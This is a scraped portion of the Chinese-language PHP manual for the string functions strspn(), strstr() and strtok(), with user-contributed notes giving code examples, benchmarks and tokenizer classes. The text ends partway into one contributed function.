$var 将被指派为 2，因为 '42' 是 string 中第一段全部字符都存在于 '1234567890' 的连续字符。

参数

string

待检查的字符串。

characters

检查字符列表。

offset

string 的开始检查位置。

如果 offset 被设置并且是非负的，strspn() 将从 string 的第 offset 个位置开始检查。例如，在字符串 'abcdef' 中，第 0 个位置的字符是 'a'，第二个位置的字符是 'c'，等等。

如果 offset 被设置并且为负数，strspn() 将从 string 的尾部倒数第 offset 个位置开始检查 string。

length

string 中检查的长度。

如果 length 被设置并且为非负数，那么将从起始位置开始，检查 string 的 length 个长度的字符。

如果 length 被设置并且为负数，那么将从起始位置开始，直到从 string 尾部开始第 length 个位置，对 string 进行检查。

返回值

返回完全由 characters 中的字符组成的 string 初始段的长度。

Note:

当设置了 offset 参数时，返回的长度从此为止开始计算，而不是从 string 的开头开始计算。

更新日志

版本 | 说明
8.0.0 | length 现在允许为 null。

示例

Example #1 strspn() 示例

<?php
echo strspn("foo", "o", 1, 2); // 打印: 2
?>

以上示例会输出：

int(0)
int(2)
int(1)

注释

Note: 此函数可安全用于二进制对象。

参见

  • strcspn() - 获取不匹配遮罩的起始子字符串的长度

User Contributed Notes

lincoln dot mahmud at gmail dot com 13-Aug-2020 01:34
Get Group match letter

<?php

$s= 'aaabbbcceeffaaeeeaaabbzmmm';

function groupby( $s ){
    static $a = [];
    static $i = 0;

    $o = strspn( $s, $s[$i], $i);
    $a[ $i ] = [  $s[$i] => $o ];
    $i += $o;

    if( $i < strlen($s) ) {
        groupby($s);
    }

    return $a;
}

print_r(groupby($s));

?>
ayaou dot mohammed at gmail dot com 14-Nov-2019 02:32
This function doesn't  work with non ASCII characters

Exemple:

<?php

$subject = "Comment ?a va ma chérie";
$mask = "éè?à";

echo strspn($subject,$mask); // Echo 0

?>

See, we expected  1 but 0 was the correct result
nino dot skopac at gmail dot com 07-Feb-2018 06:59
strspon and preg_match seem to be equally fast for validating numbers:

<?php

$testValInvalid = 'foobar123^^';
$testValValid = '12346';
$allowedChars = '1234567890';

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(strspn($testValInvalid, $allowedChars) != strlen($testValInvalid));
    assert(strspn($testValValid, $allowedChars) == strlen($testValValid));
}
print 'Time taken for strspon: ' . (microtime(true) - $t1);
print PHP_EOL;

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(preg_match('/^[0-9]+$/', $testValInvalid) === 0);
    assert(preg_match('/^[0-9]+$/', $testValValid));
}

print 'Time taken for preg_match: ' . (microtime(true) - $t1);
print PHP_EOL;

/**
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.24165391922
Time taken for preg_match: 3.1820080280304
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.1806418895721
Time taken for preg_match: 3.2244551181793
 */
?>
bob at example dot com 05-Jun-2012 03:37
Quick way to check if a string consists entirely of characters within the mask is to compare strspn with strlen eg:

<?php
$path = $_SERVER['PATH_INFO'];
if (strspn($path,'/') == strlen($path)) {
    //PATH_INFO is empty
}
?>
mrsohailkhan at gmail dot com 01-Feb-2011 12:56
very dificult to get from the definition directly, while i search for that,i came to know that

strspn() will tell you the length of a string consisting entirely of the set of characters in accept set. That is, it starts walking down str until it finds a character that is not in the set (that is, a character that is not to be accepted), and returns the length of the string so far.

and

strcspn() works much the same way, except that it walks down str until it finds a character in the reject set (that is, a character that is to be rejected.) It then returns the length of the string so far.

<?php
$acceptSet = "aeiou";
$rejectSet  = "y";

$str1 ="a banana";
$str2 ="the bolivian navy on manuvers in the south pacific";

echo $n = strspn($str1,$acceptSet);// $n == 1, just "a"

echo $n = strcspn($str2,$rejectSet);// n = 16, "the bolivian nav"
?>

hope this example will help in understanding the concept of strspn() and strcspn().
AT-HE (at_he.hotmail) 28-Nov-2010 02:45
you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another)

<?php

$digits='0123456789';

if (strlen($phone) != strspn($phone,$digits))
 echo "illegal characters";

?>
Dmitry Mazur 04-Mar-2009 10:23
The second parameter is a set of allowed characters.
strspn will return an zero-based index of a first non-allowed character.
barry dot balkowski at gmail dot com 08-Aug-2008 02:12
It took me some time to understand the way this function works...
I've compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web.
Perhaps, it will save someone several minutes...

<?php
strspn(string $haystack, string $char_list [, int $start [, int $length]])
?>

The way it works:
 -   searches for a segment of $haystack that consists entirely from supplied through the second argument chars
 -   $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing
 -   as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn't search for the second, third and so on segments)
 -   finally, it measures the segment's length and return it (i.e. length)

In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length
B Crawford 02-Oct-2007 05:20
This function is significantly faster for checking illegal characters than the equivalent preg_match() method.


查找字符串的首次出现

  • ? strspn
  • strtok ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串的首次出现

strstr

(PHP 4, PHP 5, PHP 7, PHP 8)

strstr — 查找字符串的首次出现

说明

strstr(string $haystack, string $needle, bool $before_needle = false): string|false

返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

Note:

该函数区分大小写。如果想要不区分大小写，请使用 stristr()。

Note:

如果你仅仅想确定 needle 是否存在于 haystack 中，请使用速度更快、耗费内存更少的 strpos() 函数。

参数

haystack

输入字符串。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

before_needle

若为 true，strstr() 将返回 needle 在 haystack 中的位置之前的部分。

返回值

返回字符串的一部分或者 false（如果未发现 needle）。

更新日志

版本 | 说明
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持传递 int 作为 needle。
7.3.0 | 弃用传递 int 作为 needle。

示例

Example #1 strstr() 示例

<?php
$email = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com

$user = strstr($email, '@', true);
echo $user; // 打印 name
?>

参见

  • preg_match() - 执行匹配正则表达式
  • stristr() - strstr 函数的忽略大小写版本
  • strpos() - 查找字符串首次出现的位置
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串

User Contributed Notes

Julian Egelstaff 10-Feb-2023 03:46
Lookout for logic inversion in old code!

In PHP 8, if the needle is an empty string, this function will return 0 (not false), implying the first character of the string matches the needle. Before PHP 8, it would return false when the needle is an empty string.

There other string functions that are affected by similar issues in PHP 8: strpos(), strrpos(), stripos(), strripos(), strchr(), strrchr(), stristr(), and this function, strstr()

If you are checking if the return value === false then you will be misled by this new behaviour. You also need to check if the needle was an empty string. Basically, something like this:

<?php
$result = $needle ? strstr($haystack, $needle) : false;
?>
Gevorg Melkumyan 03-Feb-2021 03:17
Don't  confuse this function with strtr ) I lost like 1 hour on that
trent dot renshaw at objectst dot com dot au 25-Jun-2015 02:08
> root at mantoru dot de

PHP makes this easy for you. When working with domain portion of email addresses, simply pass the return of strstr() to substr() and start at 1:

substr(strstr($haystack, '@'), 1);
laszlo dot heredy at gmail dot com 07-Nov-2013 09:39
strstr() is not a way to avoid type-checking with strpos().

If $needle is the last character in $haystack, and testing $needle as a boolean by itself would evaluate to false, then testing strstr() as a boolean will evaluate to false (because, if successful, strstr() returns the first occurrence of $needle along with the rest of $haystack).

<?php
findZero('01234');  // found a zero
findZero('43210');  // did not find a zero
findZero('0');      // did not find a zero
findZero('00');     // found a zero
findZero('000');    // found a zero
findZero('10');     // did not find a zero
findZero('100');    // found a zero

function findZero($numberString) {
    if (strstr($numberString, '0')) {
        echo 'found a zero';
    } else {
        echo 'did not find a zero';
    }
}
?>

Also, strstr() is far more memory-intensive than strpos(), especially with longer strings as your $haystack, so if you are not interested in the substring that strstr() returns, you shouldn't be using it anyway.

There is no PHP function just to check only _if_ $needle occurs in $haystack; strpos() tells you if it _doesn't_ by returning false, but, if it does occur, it tells you _where_ it occurs as an integer, which is 0 (zero) if $needle is the first part of $haystack, which is why testing if (strpos($needle, $haystack)===false) is the only way to know for sure if $needle is not part of $haystack.

My advice is to start loving type checking immediately, and to familiarize yourself with the return value of the functions you are using.

Cheers.
xslidian at lidian dot info 21-Feb-2013 07:37
For those in need of the last occurrence of a string:

<?php
function strrstr($h, $n, $before = false) {
    $rpos = strrpos($h, $n);
    if($rpos === false) return false;
    if($before == false) return substr($h, $rpos);
    else return substr($h, 0, $rpos);
}
?>
gruessle at gmail dot com 20-Apr-2011 01:39
Been using this for years:

<?php
/**
*
* @author : Dennis T Kaplan
*
* @version : 1.0
* Date : June 17, 2007
* Function : reverse strstr()
* Purpose : Returns part of haystack string from start to the first occurrence of needle
* $haystack = 'this/that/whatever';
* $result = rstrstr($haystack, '/')
* $result == this
*
* @access public
* @param string $haystack, string $needle
* @return string
**/

function rstrstr($haystack,$needle)
    {
        return substr($haystack, 0,strpos($haystack, $needle));
    }
?>

You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
<?php

function rstrstr($haystack,$needle, $start=0)
    {
        return substr($haystack, $start,strpos($haystack, $needle));
    }

?>
w3b_monk3y at yahoo dot com 20-Jan-2009 12:28
If you want to emulate strstr's new before_needle parameter pre 5.3 strtok is faster than using strpos to find the needle and cutting with substr. The amount of difference varies with string size but strtok is always faster.
brett dot jr dot alton at gmail dot com 25-Nov-2007 08:02
For the needle_before (first occurance) parameter when using PHP 5.x or less, try:

<?php
$haystack = 'php-homepage-20071125.png';
$needle = '-';
$result = substr($haystack, 0, strpos($haystack, $needle)); // $result = php
?>
root at mantoru dot de 10-Nov-2007 03:22
Please note that $needle is included in the return string, as shown in the example above. This ist not always desired behavior, _especially_ in the mentioned example. Use this if you want everything AFTER $needle.

<?php
function strstr_after($haystack, $needle, $case_insensitive = false) {
    $strpos = ($case_insensitive) ? 'stripos' : 'strpos';
    $pos = $strpos($haystack, $needle);
    if (is_int($pos)) {
        return substr($haystack, $pos + strlen($needle));
    }
    // Most likely false or null
    return $pos;
}

// Example
$email = 'name@example.com';
$domain = strstr_after($email, '@');
echo $domain; // prints example.com
?>
leo dot nard at free dot fr 24-May-2005 02:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "??" to a string of size 10, you would get: "à&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

<?php
function cut_html($string)
{
    $a=$string;

    while ($a = strstr($a, '&'))
    {
        echo "'".$a."'\n";
        $b=strstr($a, ';');
        if (!$b)
        {
            echo "couper...\n";
            $nb=strlen($a);
            return substr($string, 0, strlen($string)-$nb);
        }
        $a=substr($a,1,strlen($a)-1);
    }
    return $string;
}
?>


标记分割字符串

  • ? strstr
  • strtolower ?
  • PHP Manual
  • 字符串 函数
  • 标记分割字符串

strtok

(PHP 4, PHP 5, PHP 7, PHP 8)

strtok — 标记分割字符串

说明

strtok(string $string, string $token): string|false

可选 token （不支持命名参数）：

strtok(string $token): string|false

strtok() 将字符串 string 分割为若干子字符串，每个子字符串以 token 中的字符分割。这也就意味着，如果有个字符串是 "This is an example string"， 你可以使用空格字符作为 token，将这句话分割成独立的单词。

注意，仅第一次调用 strtok 函数时才使用 string 参数。 随后每次调用 strtok 都将只使用 token 参数，因为它会记住它在当前字符串中的位置。 如果要重新开始分割一个新的字符串，你需要再次使用 string 参数来调用 strtok 函数来对其进行初始化。 注意，可以在 token 参数中使用多个字符。字符串将被 token 参数中任何一个字符分割。

Note:

这个函数的行为可能与熟悉 explode() 的人期望略有不同。 首先，在解析的字符串中，两个或多个连续的 token 的 字符被认为是单一的分隔符。 此外，位于字符串开始或结束处的 token 将被忽略。 例如，如果使用一个字符串 ";aaa;;bbb;" ，连续调用 strtok() 并将 ";" 作为一个 token 将返回字符串 "aaa" 和 "bbb"，然后返回 false 。 因此，字符串将仅被拆分为两个元素，而 explode(";", $string) 将返回一个包含 5 个元素的数组。

参数

string

被分成若干子字符串的原始字符串。

token

分割 string 时使用的分界字符。

返回值

标记后的字符串，如果没有更多标记可用，则返回 false 。

示例

Example #1 strtok() 示例

<?php
$string = "This is\tan example\nstring";
/* 使用制表符和换行符作为分界符 */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
echo "Word=$tok<br />";
$tok = strtok(" \n\t");
}
?>

Example #2 当 strtok() 找不到标记时的反应

<?php
$first_token = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

以上示例会输出：

    string(9) "something"
    bool(false)

Example #3 strtok() 和 explode() 的不同点

<?php
$string = ";aaa;;bbb;";
$parts = [];
$tok = strtok($string, ";");
while ($tok !== false) {
$parts[] = $tok;
$tok = strtok(";");
}
echo json_encode($parts),"\n";
$parts = explode(";", $string);
echo json_encode($parts),"\n";

以上示例会输出：

["aaa","bbb"]
["","aaa","","bbb",""]

注释

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

参见

  • explode() - 使用一个字符串分割另一个字符串

User Contributed Notes

bohwaz 26-Nov-2023 04:00
Please note that strtok memory is shared between all PHP code currently executed, even included files. This can bite you in unexpected ways if you are not careful.

For example:

<?php

$path = 'dir/file.ext';
$dir_name = strtok($path, '/');

if ($dir_name !== (new Module)->getAllowedDirName()) {
  throw new \Exception('Invalid directory name');
}

$file_name = strtok('');

?>

Seems easy enough, but if your Module class is not loaded, this triggers the autoloader. The autoloader *MAY* use strtok inside its loading code.

Or your Module class *MAY* use strtok inside its constructor.

This means you will never get your $file_name correctly.

So: you should *always* group strtok calls, without any external code between two strtok calls.

This would be OK:

<?php

$path = 'dir/file.ext';
$dir_name = strtok($path, '/');
$file_name = strtok('');

if ($dir_name !== (new Module)->getAllowedDirName()) {
  throw new \Exception('Invalid directory name');
}

?>

This might cause issues:

<?php

$path = 'one/two#three';
$a = strtok($path, '/');
$b = strtok(Module::NAME_SEPARATOR);
$c = strtok('');

?>

Because your autoloader might be using strtok.

This would be avoided by fetching all parameters used in strtok *before* the calls:

<?php

$path = 'one/two#three';
$separator = Module::NAME_SEPARATOR;
$a = strtok($path, '/');
$b = strtok($separator);
$c = strtok('');

?>
voojj3054 at gmail dot com 17-Apr-2023 08:32
Hello, portuguese documentation of strtok is wrong, at this part which the example(2) is wrong.

Exemplo #2 Comportamento antigo da strtok()
<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump ($first_token, $second_token);
?>

O exemplo acima produzirá:

    string(0) ""
    string(9) "something"

(this example above, should be inverted as this:)

Correct:
    string(9) "something"
    string(0) ""

(exemple 3 is correct)
Exemplo #3 Novo comportamento da strtok()
<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump ($first_token, $second_token);
?>

O exemplo acima produzirá:

    string(9) "something"
    bool(false)
David Spector 07-Feb-2021 02:58
After obtaining zero or more tokens with calls to strtok, you can obtain the remainder of the input string by calling strtok with an empty string as the delimiter.
heiangus at hotmail dot com 24-Jul-2019 06:04
I found this useful for parsing user entered links in text fields.

e.g. This is a link <http://example.com>

    function parselink($link) {
        $bit1 = trim(strtok($link, '<'));
        $bit2 = trim(strtok('>'));
        $html = '<a href="'.$bit2.'">'.$bit1.'</a>';
        return $html; // <a href="http://example.com">This is a link</a>
    }
charlie dot ded at orange dot fr 15-Nov-2016 01:41
@maisuma you invert paramaters of explode() and strtok() functions, your code does not do what you expect.
You expect to read the input string token after token so equivalent code for strtok() is  arra_filter(explode()) because explode() return lines of empty string when several delimiters are contiguous in the read string, for example  2 whitespaces between.

In fact strtok() is much faster (x2 at least) than arra_filter(explode()) if the read string contains several contiguous delimiters ,
 it is slower if the read string contains one and only one delimiter between tokens.

<?php

$repeat = 10;
$delimiter = ':';
$str=str_repeat('foo:',$repeat);

$timeStrtok=microtime(TRUE);
$token = strtok($str, $delimiter);
while($token!==FALSE){
    //echo $token . ',';
    $token=strtok($delimiter);
}
$timeStrtok -=microtime(TRUE);

$timeExplo=microtime(TRUE);
$arr = explode($delimiter, $str);
//$arr = array_filter($arr);
$timeExplo -=microtime(TRUE);

//print_r($arr);

$X = 1000000; $unit = 'microsec';

echo PHP_EOL . ' explode() : ' . -$timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . -$timeStrtok . ' ' . $unit .PHP_EOL;

$timeExplo=round(-$timeExplo*$X);
$timeStrtok=round(-$timeStrtok*$X);

echo PHP_EOL . ' explode() : ' . $timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . $timeStrtok . ' ' . $unit .PHP_EOL;
echo ' ratio explode / strtok : ' . round($timeExplo / $timeStrtok,1) . PHP_EOL;

?>
eep2004 at ukr dot net 06-Jan-2015 08:40
Remove GET variables from the URL
<?php
echo strtok('http://example.com/index.php?foo=1&bar=2', '?');
?>
Result:
http://example.com/index.php
eep2004 at ukr dot net 07-Oct-2014 10:01
Remove GET variables from the URL
<?php
$url = strtok('http://php.net/manual/en/ref.strings.php?foo=1&bar=2', '?');
// $url = 'http://php.net/manual/en/ref.strings.php'
info at maisuma dot jp 30-May-2014 08:15
If you want to tokenize by only one letter, explode() is much faster compared to strtok().

<?php
$str=str_repeat('foo ',10000);

//explode()
$time=microtime(TRUE);
$arr=explode($str,' ');
$time=microtime(TRUE)-$time;
echo "explode():$time sec.".PHP_EOL;

//strtok()
$time=microtime(TRUE);
$ret=strtok(' ',$str);
while($ret!==FALSE){
    $ret=strtok(' ');
}
$time=microtime(TRUE)-$time;
echo "strtok():$time sec.".PHP_EOL;

?>

The result is : (PHP 5.3.3 on CentOS)

explode():0.001317024230957 sec.
strtok():0.0058917999267578 sec.

explode() is about five times fast in short strings, too.
Axeia 11-Feb-2014 05:12
Might be pointing out the obvious but if you'd rather use a for loop rather than a while (to keep the token strings on the same line for readability for example), it can be done. Added bonus, it doesn't put a $tok variable outside the loop itself either.
Downside however is that you're not able to manually free up the memory used using the technique mentioned by elarlang.

<?php
for($tok = strtok($str, ' _-.'); $tok!==false; $tok = strtok(' _-.'))
{
  echo "$tok </br>";
}
?>
eep2004 at ukr dot net 18-Sep-2013 04:11
<?php
// strtok example
$str = 'Hello to all of Ukraine';
echo strtok($str, ' ').' '.strtok(' ').' '.strtok(' ');
?>
Result:
Hello to all
gilthans at NOSPAM dot gmail dot com 15-Jul-2012 06:47
Note that strtok may receive different tokens each time. Therefore, if, for example, you wish to extract several words and then the rest of the sentence:

<?php
$text = "13 202 5 This is a long message explaining the error codes.";
$error1 = strtok($text, " "); //13
$error2 = strtok(" "); //202
$error3 = strtok(" "); //5
$error_message = strtok(""); //Notice the different token parameter
echo $error_message; //This is a long message explaining the error codes.
?>
pradador at me dot com 13-May-2011 12:10
Here's a simple class that allows you to iterate through string tokens using a foreach loop.

<?php
/**
 * The TokenIterator class allows you to iterate through string tokens using
 * the familiar foreach control structure.
 *
 * Example:
 * <code>
 * <?php
 * $string = 'This is a test.';
 * $delimiters = ' ';
 * $ti = new TokenIterator($string, $delimiters);
 *
 * foreach ($ti as $count => $token) {
 *     echo sprintf("%d, %s\n", $count, $token);
 * }
 *
 * // Prints the following output:
 * // 0. This
 * // 1. is
 * // 2. a
 * // 3. test.
 * </code>
 */
class TokenIterator implements Iterator
{
    /**
     * The string to tokenize.
     * @var string
     */
    protected $_string;

    /**
     * The token delimiters.
     * @var string
     */
    protected $_delims;

    /**
     * Stores the current token.
     * @var mixed
     */
    protected $_token;

    /**
     * Internal token counter.
     * @var int
     */
    protected $_counter = 0;

    /**
     * Constructor.
     *
     * @param string $string The string to tokenize.
     * @param string $delims The token delimiters.
     */
    public function __construct($string, $delims)
    {
        $this->_string = $string;
        $this->_delims = $delims;
        $this->_token = strtok($string, $delims);
    }

    /**
     * @see Iterator::current()
     */
    public function current()
    {
        return $this->_token;
    }

    /**
     * @see Iterator::key()
     */
    public function key()
    {
        return $this->_counter;
    }

    /**
     * @see Iterator::next()
     */
    public function next()
    {
        $this->_token = strtok($this->_delims);

        if ($this->valid()) {
            ++$this->_counter;
        }
    }

    /**
     * @see Iterator::rewind()
     */
    public function rewind()
    {
        $this->_counter = 0;
        $this->_token   = strtok($this->_string, $this->_delims);
    }

    /**
     * @see Iterator::valid()
     */
    public function valid()
    {
        return $this->_token !== FALSE;
    }
}
?>
elarlang at gmail dot com 22-Mar-2011 10:45
If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage.

<?php
function tokenize($str, $token_symbols) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }
}
?>
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // mem usage 9.75383758545 MB (memory_get_usage() / 1024 / 1024));
tokenize($str, $token_symbols); // mem usage 9.75400161743 MB
unset($str); // 9.75395584106 MB
?>
Case #1 result: memory is still used

Case #2 - call strtok again
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75401306152 MB
tokenize($str, $token_symbols); // 9.75417709351
strtok('', ''); // 9.75421524048
?>
Case #2 result: memory is still used

Case #3 - call strtok again AND unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75410079956 MB
tokenize($str, $token_symbols); // 9.75426483154 MB
unset($str);
strtok('', ''); // 0.0543975830078 MB
?>
Case #3 result: memory is free

So, better solution for tokenize function:
<?php
function tokenize($str, $token_symbols, $token_reset = true) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }

    if($token_reset)
        strtok('', '');
}
?>
fabiolimasouto at gmail dot com 20-Nov-2010 05:54
this example will hopefully help you understand how this function works:

<?php
$selector = 'div.class#id';
$tagname = strtok($selector,'.#');
echo $tagname.'<br/>';

while($tok = strtok('.#'))
{
 echo $tok.'<br/>';
}

?>

Outputs:
div
class
id
benighted at gmail dot com 06-Nov-2009 06:47
Simple way to tokenize search parameters, including double or single quoted keys.  If only one quote is found, the rest of the string is assumed to be part of that token.

<?php
            $token = strtok($keywords,' ');
            while ($token) {
                // find double quoted tokens
                if ($token{0}=='"') { $token .= ' '.strtok('"').'"'; }
                // find single quoted tokens
                if ($token{0}=="'") { $token .= ' '.strtok("'")."'"; }

                $tokens[] = $token;
                $token = strtok(' ');
            }
?>

Use substr(1,strlen($token)) and remove the part that adds the trailing quotes if you want your output without quotes.
azeem 02-Sep-2009 12:14
Here is a java like StringTokenizer class using strtok function:

<?php

/**
 * The string tokenizer class allows an application to break a string into tokens.
 *
 * @example The following is one example of the use of the tokenizer. The code:
 * <code>
 * <?php
 *    $str = 'this is:@\t\n a test!';
 *    $delim = ' !@:'\t\n; // remove these chars
 *    $st = new StringTokenizer($str, $delim);
 *    while ($st->hasMoreTokens()) {
 *        echo $st->nextToken() . "\n";
 *    }
 *    prints the following output:
 *      this
 *      is
 *      a
 *      test
 * ?>
 * </code>
 */
class StringTokenizer {

    /**
     * @var string
     */
    private $token;

    /**
     * @var string
     */
    private $delim;
    /**
     * Constructs a string tokenizer for the specified string
     * @param string $str String to tokenize
     * @param string $delim The set of delimiters (the characters that separate tokens)
     * specified at creation time, default to ' '
     */
    public function __construct(/*string*/ $str, /*string*/ $delim = ' ') {
        $this->token = strtok($str, $delim);
        $this->delim = $delim;
    }

    public function __destruct() {
        unset($this);
    }

    /**
     * Tests if there are more tokens available from this tokenizer's string. It
     * does not move the internal pointer in any way. To move the internal pointer
     * to the next element call nextToken()
     * @return boolean - true if has more tokens, false otherwise
     */
    public function hasMoreTokens() {
        return ($this->token !== false);
    }

    /**
     * Returns the next token from this string tokenizer and advances the internal
     * pointer by one.
     * @return string - next element in the tokenized string
     */
    public function nextToken() {
        $current = $this->token;
        $this->token = strtok($this->delim);
        return $current;
    }
}
?>
yanick dot rochon at gmail dot com 15-Jun-2009 09:37
Here is a small function I wrote as I needed to extract some named tokens from a string (a la Google). For example, I needed to format a string like "extension:gif size:64M animated:true author:'John Bash'" into

array(
  'extension' => 'gif',
  'size' => '64M',
  'animated' => true,
  'author' => 'John Bash'
)

So, here's the code:

<?php

header('Content-type: text/plain; CHARSET=gb2312');

/**
 * NOTE : use mbstring.func_overload for multi-byte support with this function
 *
 * @param string $string             the string to tokenize
 * @param int $offset                the starting offset
 * @param string $defaultTokenName   the default token name if none specified
 * @param string $groupDelimiters    the characters to delimit token groups
 * @param string $groupNameDelimiter the character(s) to delimit token group names
 * @return array
 */
function getTokens(
        $string,
        $offset = 0,
        $defaultTokenName = null,
        $groupDelimiters = '\'"',
        $groupNameDelimiter = ':')
{

    if ($offset >= strlen($string)) {
        //echo "offset out of range";
        return false;
    }

    $spaces = " \t\n\r";   // space characters

    // add group delimiters to spaces...
    $groupSpaces = $spaces . $groupNameDelimiter;
    $delimiters = $groupSpaces . $groupDelimiters;

    //var_dump($groupSpaces);

    $string = ltrim(substr($string, $offset), $groupSpaces);
    $token_strings = array();

    //echo "String is : " . $string . "\n";

    // 1. split all tokens...
    while ($offset < strlen($string)) {
        $lastOffset = $offset;
        $escaped = false;

        if (false !== strpos($groupDelimiters, $char = $string[$offset])) {
            $groupChar = $char;
        } else {
            $groupChar = null;
        }

        if (null !== $groupChar) {
            while (($offset < strlen($string)) && (($groupChar !== ($char = $string[++$offset])) || $escaped)) {
                //$offset++;
                $escaped = ('\\' === $char);
            }
            $offset++;
            //echo "*** Grouped : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        } else {
            while (($offset < strlen($string)) && ((false === strpos($delimiters, $char = $string[$offset])) || $escaped)) {
                $offset++;
                $escaped = ('\\' === $char);
            }
            //echo "*** Non-group : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        }
        //skip spaces...
        while (($offset < strlen($string)) && ((false !== strpos($groupSpaces, $char = $string[$offset])) || $escaped)) {
            $offset++;
            $escaped = ('\\' === $char);
        }

        $token_strings[] = substr($string, $lastOffset, $offset - $lastOffset);
        //echo "Next token = '" . end($token_strings) . "'\n";
    }

    $tokens = array();
    $tokenName = null;
    foreach ($token_strings as $token_str) {
        // clean $token_str
        $token_str = trim(stripslashes($token_str), $spaces);
        $str_value = trim($token_str, $delimiters);
        switch (strtolower($str_value)) {
            case 'true': $str_value = true; break;
            case 'false': $str_value = false; break;
            default: break;
        }

        // is it a token name?
        if (':' === substr($token_str, -1, 1)) {
            if (!empty($tokenName)) {
                $tokens[$tokenName] = '';
            }
            $tokenName = trim($token_str, $delimiters);
        } else {
            if (!empty($tokenName)) {
                if (isset($tokens[$tokenName])) {
                    $tokens[$tokenName] = array(
                        $tokens[$tokenName],
                        $str_value
                    );
                } else {
                    $tokens[$tokenName] = $str_value;
                }
                $tokenName = null;
            } elseif (empty($defaultTokenName)) {
                $tokens[] = trim($token_str, $delimiters);;
            } else {
                if (isset($tokens[$defaultTokenName])) {
                    $tokens[$defaultTokenName] = array(
                        $tokens[$defaultTokenName],
                        $str_value
                    );
                } else {
                    $tokens[$defaultTokenName] = $str_value;
                }
            }
        }
    }
    if (!empty($tokenName)) {
        $tokens[$tokenName] = '';
    }

    return $tokens;
}

$str = "check1: test "
     . "check2:'hello world' "
     . 'check3: "foo" '
     . "check4: \\\"try this\\\""
     . '"buz" '
     . 'check1:true';

?>
KrazyBox 06-Mar-2009 06:11
As of the change in strtok()'s handling of empty strings, it is now useless for scripts that rely on empty data to function.

Take for instance, a standard header. (with UNIX newlines)

http/1.0 200 OK\n
Content-Type: text/html\n
\n
--HTML BODY HERE---

When parsing this with strtok, one would wait until it found an empty string to signal the end of the header. However, because strtok now skips empty segments, it is impossible to know when the header has ended.
This should not be called `correct' behavior, it certainly is not. It has rendered strtok incapable of (properly) processing a very simple standard.

This new functionality, however, does not affect Windows style headers. You would search for a line that only contains "\r"
This, however, is not a justification for the change.
Logikos 03-Jan-2009 10:12
This looks very simple, but it took me a long time to figure out so I thought I'd share it incase someone else was wanting the same thing:

this should work similar to substr() but with tokens instead!

<?php
/* subtok(string,chr,pos,len)
 *
 * chr = chr used to seperate tokens
 * pos = starting postion
 * len = length, if negative count back from right
 *
 *  subtok('a.b.c.d.e','.',0)     = 'a.b.c.d.e'
 *  subtok('a.b.c.d.e','.',0,2)   = 'a.b'
 *  subtok('a.b.c.d.e','.',2,1)   = 'c'
 *  subtok('a.b.c.d.e','.',2,-1)  = 'c.d'
 *  subtok('a.b.c.d.e','.',-4)    = 'b.c.d.e'
 *  subtok('a.b.c.d.e','.',-4,2)  = 'b.c'
 *  subtok('a.b.c.d.e','.',-4,-1) = 'b.c.d'
 */
function subtok($string,$chr,$pos,$len = NULL) {
  return implode($chr,array_slice(explode($chr,$string),$pos,$len));
}
?>

explode breaks the tokens up into an array, array slice alows you to pick then tokens you want, and then implode converts it back to a string

although its far from a clone, this was inspired by mIRC's gettok() function
mac.com@nemo 18-Feb-2006 01:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp   'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
